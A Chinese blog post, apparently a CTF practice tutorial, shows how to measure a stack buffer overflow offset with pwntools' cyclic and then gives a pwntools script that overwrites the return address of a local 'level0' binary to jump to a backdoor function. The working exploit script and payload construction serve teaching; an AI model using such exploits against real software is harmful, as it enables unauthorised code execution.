cyclic查看缓冲区溢出长度

朴灿烈づ我的快乐病毒、 2022-09-14 00:07 144阅读 0赞

read、gets等C函数对输入没有限制，如果有可以溢出的堆栈，就有缓冲区溢出漏洞。

# 方法一： #

IDA查看：  
![1][]

# 方法二： #

使用pwntools的cyclic:

## 安装 ##

$ apt-get update
    $ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
    $ pip install --upgrade pip
    $ pip install --upgrade pwntools

## 测试 ##

cyclic生成的字符串每四个字符为一组，以aaaa开始，最长到zzzz。

# 生成128个字符
    $ cyclic 128    
    aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
    
    $ ./level0      
    Hello, World
    aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
    
    # 生成132个字符
    $ cyclic 132                                                                                                                                                                                                                        128 ⨯
    aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaab
    
    # 报错
    $ ./level0      
    Hello, World
    aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaab
    zsh: segmentation fault  ./level0
    
    # 查看长度
    $ cyclic -l haab 
    128

# 实验 #

## 找到后门函数地址 ##

![1][1 1]

## exp ##

#-*- coding=utf-8 -*-
    from pwn import *
    
    context.log_level = 'debug'	#调试模式
    
    sh = process('./level0')
    
    backdoor = 0x400596
    payload = b'a'*128 + b'b'*8 + p64(backdoor) # '\x96\x05\x40\x00\x00\x00\x00\x00'
    
    #gdb.attach(sh)		#使用gdb附加调试
    sh.send(payload)	#发送payload
    
    sh.interactive()

![1][1 2]  
开启调试模式，pwngdb会自动下断点到read结尾处。单步到read返回指令位置，可以看到栈的返回地址被写为`0x400596`。  
![1][1 3]

参考：  
[https://pwntools-docs-zh.readthedocs.io/zh\_CN/dev/install.html][https_pwntools-docs-zh.readthedocs.io_zh_CN_dev_install.html]

[1]: /images/20220828/947e454fab06496bb9fcbe292be9d795.png
[1 1]: /images/20220828/e7fd9bff0bee4c259cb3bf0c1996d222.png
[1 2]: /images/20220828/47a3ca7aa8dc4e6f886ec6c1ae77b512.png
[1 3]: /images/20220828/5df4d63634fb41038511ecc28dec1356.png
[https_pwntools-docs-zh.readthedocs.io_zh_CN_dev_install.html]: https://pwntools-docs-zh.readthedocs.io/zh_CN/dev/install.html